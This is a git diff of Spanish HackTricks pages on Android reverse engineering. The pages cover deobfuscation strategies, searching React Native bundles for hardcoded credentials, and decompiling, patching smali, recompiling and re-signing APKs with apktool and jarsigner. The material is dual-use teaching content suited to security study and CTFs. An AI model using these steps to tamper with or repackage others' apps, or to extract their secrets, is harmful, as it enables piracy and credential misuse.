![](../../.gitbook/assets/img12.png)
Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Descompilar/\[Modificar\]/Compilar para aprender cómo firmarla](smali-changes.md#sing-the-new-apk).
Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Decompiling/\[Modifying\]/Compiling para aprender cómo firmarlo](smali-changes.md#sing-the-new-apk).
<details>
@ -71,14 +72,14 @@ Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección d
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,51 +1,35 @@
<details>
## Manual **Técnicas de De-obfuscación**
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
En el ámbito de la **seguridad del software**, el proceso de hacer que el código oscurecido sea comprensible, conocido como **de-obfuscación**, es crucial. Esta guía profundiza en varias estrategias para la de-obfuscación, centrándose en técnicas de análisis estático y reconociendo patrones de ofuscación. Además, introduce un ejercicio para la aplicación práctica y sugiere recursos adicionales para aquellos interesados en explorar temas más avanzados.
Otras formas de apoyar a HackTricks:
### **Estrategias para la De-obfuscación Estática**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Al tratar con **código ofuscado**, se pueden emplear varias estrategias dependiendo de la naturaleza de la ofuscación:
</details>
## Técnicas de **Desofuscación Manual**
En el ámbito de la **seguridad del software**, el proceso de hacer que el código oscurecido sea comprensible, conocido como **desofuscación**, es crucial. Esta guía explora varias estrategias para la desofuscación, centrándose en técnicas de análisis estático y en el reconocimiento de patrones de ofuscación. Además, presenta un ejercicio para su aplicación práctica y sugiere recursos adicionales para aquellos interesados en explorar temas más avanzados.
### **Estrategias para la Desofuscación Estática**
Cuando se trata de **código ofuscado**, se pueden emplear varias estrategias según la naturaleza de la ofuscación:
- **Código DEX (Java)**: Un enfoque efectivo implica identificar los métodos de desofuscación de la aplicación, luego replicar estos métodos en un archivo Java. Este archivo se ejecuta para revertir la ofuscación en los elementos objetivo.
- **Java y Código Nativo**: Otro método es traducir el algoritmo de desofuscación a un lenguaje de script como Python. Esta estrategia destaca que el objetivo principal no es comprender completamente el algoritmo, sino ejecutarlo de manera efectiva.
- **Código bytecode DEX (Java)**: Un enfoque efectivo implica identificar los métodos de de-obfuscación de la aplicación, luego replicar estos métodos en un archivo Java. Este archivo se ejecuta para revertir la ofuscación en los elementos objetivo.
- **Código Java y Nativo**: Otro método es traducir el algoritmo de de-obfuscación a un lenguaje de scripting como Python. Esta estrategia destaca que el objetivo principal no es entender completamente el algoritmo, sino ejecutarlo de manera efectiva.
### **Identificación de la Ofuscación**
Reconocer el código ofuscado es el primer paso en el proceso de desofuscación. Los indicadores clave incluyen:
Reconocer el código ofuscado es el primer paso en el proceso de de-obfuscación. Los indicadores clave incluyen:
- La **ausencia o mezcla de cadenas** en Java y Android, lo que puede sugerir ofuscación de cadenas.
- La **presencia de archivos binarios** en el directorio de activos o llamadas a `DexClassLoader`, que sugieren desempaquetado de código y carga dinámica.
- El uso de **bibliotecas nativas junto con funciones JNI no identificables**, lo que indica una posible ofuscación de métodos nativos.
- La **ausencia o desorden de cadenas** en Java y Android, lo que puede sugerir ofuscación de cadenas.
- La **presencia de archivos binarios** en el directorio de assets o llamadas a `DexClassLoader`, lo que sugiere desempaquetado de código y carga dinámica.
- El uso de **bibliotecas nativas junto con funciones JNI no identificables**, indicando una posible ofuscación de métodos nativos.
## **Análisis Dinámico en la Desofuscación**
## **Análisis Dinámico en la De-obfuscación**
Al ejecutar el código en un entorno controlado, el análisis dinámico **permite observar cómo se comporta el código ofuscado en tiempo real**. Este método es particularmente efectivo para descubrir el funcionamiento interno de patrones de ofuscación complejos diseñados para ocultar la verdadera intención del código.
Al ejecutar el código en un entorno controlado, el análisis dinámico **permite observar cómo se comporta el código ofuscado en tiempo real**. Este método es particularmente efectivo para descubrir el funcionamiento interno de patrones de ofuscación complejos que están diseñados para ocultar la verdadera intención del código.
### **Aplicaciones del Análisis Dinámico**
- **Desencriptación en Tiempo de Ejecución**: Muchas técnicas de ofuscación implican encriptar cadenas o segmentos de código que solo se descifran en tiempo de ejecución. A través del análisis dinámico, estos elementos encriptados pueden capturarse en el momento del descifrado, revelando su forma real.
- **Identificación de Técnicas de Ofuscación**: Al monitorear el comportamiento de la aplicación, el análisis dinámico puede ayudar a identificar técnicas específicas de ofuscación que se están utilizando, como la virtualización de código, empaquetadores o generación de código dinámico.
- **Descubrimiento de Funcionalidades Ocultas**: El código ofuscado puede contener funcionalidades ocultas que no son evidentes mediante el análisis estático solo. El análisis dinámico permite observar todos los caminos de código, incluidos aquellos ejecutados condicionalmente, para descubrir tales funcionalidades ocultas.
- **Desencriptación en Tiempo de Ejecución**: Muchas técnicas de ofuscación implican encriptar cadenas o segmentos de código que solo se desencriptan en tiempo de ejecución. A través del análisis dinámico, estos elementos encriptados pueden ser capturados en el momento de la desencriptación, revelando su forma verdadera.
- **Identificación de Técnicas de Ofuscación**: Al monitorear el comportamiento de la aplicación, el análisis dinámico puede ayudar a identificar técnicas específicas de ofuscación que se están utilizando, como virtualización de código, empaquetadores o generación dinámica de código.
- **Descubrimiento de Funcionalidades Ocultas**: El código ofuscado puede contener funcionalidades ocultas que no son evidentes a través del análisis estático solo. El análisis dinámico permite observar todos los caminos de código, incluidos aquellos ejecutados condicionalmente, para descubrir tales funcionalidades ocultas.
## Referencias y Lecturas Adicionales
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: “Desempaquetando el Desempaquetador Empaquetado: Ingeniería Inversa de una Biblioteca Anti-Análisis de Android” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Esta charla analiza la ingeniería inversa de una de las bibliotecas nativas anti-análisis más complejas que he visto utilizadas por una aplicación de Android. Cubre principalmente técnicas de ofuscación en código nativo.
* Esta charla aborda la ingeniería inversa de una de las bibliotecas nativas anti-análisis más complejas que he visto utilizadas por una aplicación de Android. Cubre principalmente técnicas de ofuscación en código nativo.
* REcon 2019: “El Camino hacia la Carga Útil: Edición Android” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Esta charla discute una serie de técnicas de ofuscación, únicamente en código Java, que una botnet de Android estaba utilizando para ocultar su comportamiento.
</details>
* Esta charla discute una serie de técnicas de ofuscación, únicamente en código Java, que un botnet de Android estaba utilizando para ocultar su comportamiento.

View file

@ -1,26 +1,27 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Análisis de la Aplicación React Native
# Análisis de Aplicaciones React Native
Para confirmar si la aplicación fue construida en el framework React Native, sigue estos pasos:
Para confirmar si la aplicación fue construida en el marco de React Native, sigue estos pasos:
1. Renombra el archivo APK con una extensión zip y extráelo a una nueva carpeta usando el comando `cp com.example.apk example-apk.zip` y `unzip -qq example-apk.zip -d ReactNative`.
1. Cambia el nombre del archivo APK con una extensión zip y extráelo a una nueva carpeta usando el comando `cp com.example.apk example-apk.zip` y `unzip -qq example-apk.zip -d ReactNative`.
2. Navega hasta la carpeta ReactNative recién creada y localiza la carpeta de assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en un formato minificado.
2. Navega a la carpeta ReactNative recién creada y localiza la carpeta de assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en un formato minificado.
3. Utiliza el comando `find . -print | grep -i ".bundle$"` para buscar el archivo JavaScript.
3. Usa el comando `find . -print | grep -i ".bundle$"` para buscar el archivo JavaScript.
Para analizar más a fondo el código JavaScript, crea un archivo llamado `index.html` en el mismo directorio con el siguiente código:
```html
@ -30,33 +31,34 @@ Puedes subir el archivo a [https://spaceraccoon.github.io/webpack-exploder/](htt
1. Abre el archivo `index.html` en Google Chrome.
2. Abre la Barra de Herramientas para Desarrolladores presionando **Command+Option+J para OS X** o **Control+Shift+J para Windows**.
2. Abre la Barra de Herramientas del Desarrollador presionando **Command+Option+J para OS X** o **Control+Shift+J para Windows**.
3. Haz clic en "Sources" en la Barra de Herramientas para Desarrolladores. Deberías ver un archivo JavaScript dividido en carpetas y archivos, formando el paquete principal.
3. Haz clic en "Sources" en la Barra de Herramientas del Desarrollador. Deberías ver un archivo JavaScript que está dividido en carpetas y archivos, formando el paquete principal.
Si encuentras un archivo llamado `index.android.bundle.map`, podrás analizar el código fuente en un formato no minimizado. Los archivos de mapas contienen mapeo de origen, lo que te permite mapear identificadores minimizados.
Si encuentras un archivo llamado `index.android.bundle.map`, podrás analizar el código fuente en un formato no minificado. Los archivos de mapa contienen mapeo de origen, lo que te permite mapear identificadores minificados.
Para buscar credenciales sensibles y puntos finales, sigue estos pasos:
Para buscar credenciales y puntos finales sensibles, sigue estos pasos:
1. Identifica palabras clave sensibles para analizar el código JavaScript. Las aplicaciones React Native a menudo utilizan servicios de terceros como Firebase, puntos finales de servicios AWS S3, claves privadas, etc.
1. Identifica palabras clave sensibles para analizar el código JavaScript. Las aplicaciones de React Native a menudo utilizan servicios de terceros como Firebase, puntos finales del servicio AWS S3, claves privadas, etc.
2. En este caso específico, se observó que la aplicación estaba utilizando el servicio Dialogflow. Busca un patrón relacionado con su configuración.
3. Fue afortunado encontrar credenciales sensibles codificadas en el código JavaScript durante el proceso de reconocimiento.
3. Fue afortunado que se encontraran credenciales sensibles codificadas en el código JavaScript durante el proceso de reconocimiento.
## Referencias
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Smali - Descompilación/\[Modificación]/Compilación
# Smali - Decompiling/\[Modifying]/Compiling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
A veces es interesante modificar el código de la aplicación para acceder a información oculta para ti (quizás contraseñas bien ofuscadas o banderas). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.
A veces es interesante modificar el código de la aplicación para acceder a información oculta para ti (quizás contraseñas o flags bien ofuscadas). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.
**Referencia de opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
**Referencia de Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## Forma Rápida
## Fast Way
Usando **Visual Studio Code** y la extensión [APKLab](https://github.com/APKLab/APKLab), puedes **descompilar**, modificar, **recompilar**, firmar e instalar automáticamente la aplicación sin ejecutar ningún comando.
Usando **Visual Studio Code** y la extensión [APKLab](https://github.com/APKLab/APKLab), puedes **descompilar automáticamente**, modificar, **recompilar**, firmar e instalar la aplicación sin ejecutar ningún comando.
Otro **script** que facilita mucho esta tarea es [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Descompilar el APK
## Decompile the APK
Usando APKTool puedes acceder al **código smali y recursos**:
```bash
@ -38,31 +39,31 @@ Algunos **archivos interesantes que deberías revisar son**:
* _AndroidManifest.xml_
* Cualquier archivo con extensión _.sqlite_ o _.db_
Si `apktool` tiene **problemas decodificando la aplicación**, echa un vistazo a [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) o intenta usar el argumento **`-r`** (No decodificar recursos). Entonces, si el problema estaba en un recurso y no en el código fuente, no tendrás el problema (tampoco decodificarás los recursos).
Si `apktool` tiene **problemas decodificando la aplicación**, echa un vistazo a [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) o intenta usar el argumento **`-r`** (No decodificar recursos). Entonces, si el problema estaba en un recurso y no en el código fuente, no tendrás el problema (tampoco descompilarás los recursos).
## Cambiar código Smali
## Cambiar código smali
Puedes **cambiar** **instrucciones**, cambiar el **valor** de algunas variables o **añadir** nuevas instrucciones. Cambio el código Smali usando [**VS Code**](https://code.visualstudio.com), luego instalas la **extensión smalise** y el editor te dirá si alguna **instrucción es incorrecta**.\
Puedes **cambiar** **instrucciones**, cambiar el **valor** de algunas variables o **agregar** nuevas instrucciones. Yo cambio el código Smali usando [**VS Code**](https://code.visualstudio.com), luego instalas la **extensión smalise** y el editor te dirá si alguna **instrucción es incorrecta**.\
Algunos **ejemplos** se pueden encontrar aquí:
* [Ejemplos de cambios en Smali](smali-changes.md)
* [Google CTF 2018 - ¿Jugamos un juego?](google-ctf-2018-shall-we-play-a-game.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
O puedes [**ver a continuación algunos cambios en Smali explicados**](smali-changes.md#modifying-smali).
O puedes [**revisar a continuación algunos cambios en Smali explicados**](smali-changes.md#modifying-smali).
## Recompilar el APK
Después de modificar el código puedes **recompilar** el código usando:
Después de modificar el código, puedes **recompilar** el código usando:
```bash
apktool b . #In the folder generated when you decompiled the application
```
Se **compilará** el nuevo APK **dentro** de la carpeta _**dist**_.
Si **apktool** arroja un **error**, intenta [instalar la **última versión**](https://ibotpeaches.github.io/Apktool/install/)
Si **apktool** lanza un **error**, intenta[ instalar la **última versión**](https://ibotpeaches.github.io/Apktool/install/)
### **Firma el nuevo APK**
Luego, necesitas **generar una clave** (se te pedirá una contraseña y cierta información que puedes completar al azar):
Luego, necesitas **generar una clave** (se te pedirá una contraseña y algo de información que puedes llenar aleatoriamente):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
@ -77,15 +78,15 @@ jarsigner -keystore key.jks path/to/dist/* <your-alias>
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **Firmar el nuevo APK (¿de nuevo?)**
### **Firma el nuevo APK (¿de nuevo?)**
Si **prefieres** usar [**apksigner**](https://developer.android.com/studio/command-line/) en lugar de jarsigner, **debes firmar el apk** después de aplicar **la optimización con** zipalign. PERO TEN EN CUENTA QUE SOLO DEBES **FIRMAR LA APLICACIÓN UNA VEZ** CON jarsigner (antes de zipalign) O CON apksigner (después de zipalign).
Si **prefieres** usar [**apksigner**](https://developer.android.com/studio/command-line/) en lugar de jarsigner, **debes firmar el apk** después de aplicar **la optimización con** zipalign. PERO NOTA QUE SOLO TIENES QUE **FIRMAR LA APLICACIÓN UNA VEZ** CON jarsigner (antes de zipalign) O CON apksigner (después de zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
## Modificando Smali
Para el siguiente código Java de Hello World:
Para el siguiente código Java Hello World:
```java
public static void printHelloWorld() {
System.out.println("Hello World")
@ -103,11 +104,11 @@ return-void
```
El conjunto de instrucciones Smali está disponible [aquí](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
### Cambios Ligeros
### Cambios ligeros
### Modificar los valores iniciales de una variable dentro de una función
### Modificar valores iniciales de una variable dentro de una función
Algunas variables se definen al principio de la función utilizando el opcode _const_, puedes modificar sus valores, o puedes definir nuevas:
Algunas variables se definen al principio de la función utilizando el opcode _const_, puedes modificar sus valores, o puedes definir nuevos:
```bash
#Number
const v9, 0xf4240
@ -115,7 +116,7 @@ const/4 v8, 0x1
#Strings
const-string v5, "wins"
```
### Operaciones básicas
### Operaciones Básicas
```bash
#Math
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
@ -138,7 +139,7 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
goto :goto_6 #Always go to: :goto_6
```
### Cambios importantes
### Cambios Más Grandes
### Registro
```bash
@ -151,17 +152,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
```
Recomendaciones:
* Si vas a utilizar variables declaradas dentro de la función (declaradas v0, v1, v2...), coloca estas líneas entre _.local \<número>_ y las declaraciones de las variables (_const v0, 0x1_).
* Si deseas colocar el código de registro en medio del código de una función:
* Agrega 2 al número de variables declaradas: Ejemplo: de _.locals 10_ a _.locals 12_.
* Si vas a usar variables declaradas dentro de la función (declaradas v0,v1,v2...) coloca estas líneas entre el _.local \<número>_ y las declaraciones de las variables (_const v0, 0x1_)
* Si quieres poner el código de registro en medio del código de una función:
* Agrega 2 al número de variables declaradas: Ej: de _.locals 10_ a _.locals 12_
* Las nuevas variables deben ser los siguientes números de las variables ya declaradas (en este ejemplo deberían ser _v10_ y _v11_, recuerda que comienza en v0).
* Cambia el código de la función de registro y utiliza _v10_ y _v11_ en lugar de _v5_ y _v1_.
* Cambia el código de la función de registro y usa _v10_ y _v11_ en lugar de _v5_ y _v1_.
### Toasting
Recuerda agregar 3 al número de _.locals_ al principio de la función.
Este código está preparado para ser insertado en el **medio de una función** (**cambia** el número de las **variables** según sea necesario). Tomará el **valor de this.o**, lo **transformará** a **String** y luego **hará** un **toast** con su valor.
Este código está preparado para ser insertado en el **medio de una función** (**cambia** el número de las **variables** según sea necesario). Tomará el **valor de this.o**, **lo transformará** a **String** y luego **hará** un **toast** con su valor.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -173,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,57 +1,59 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
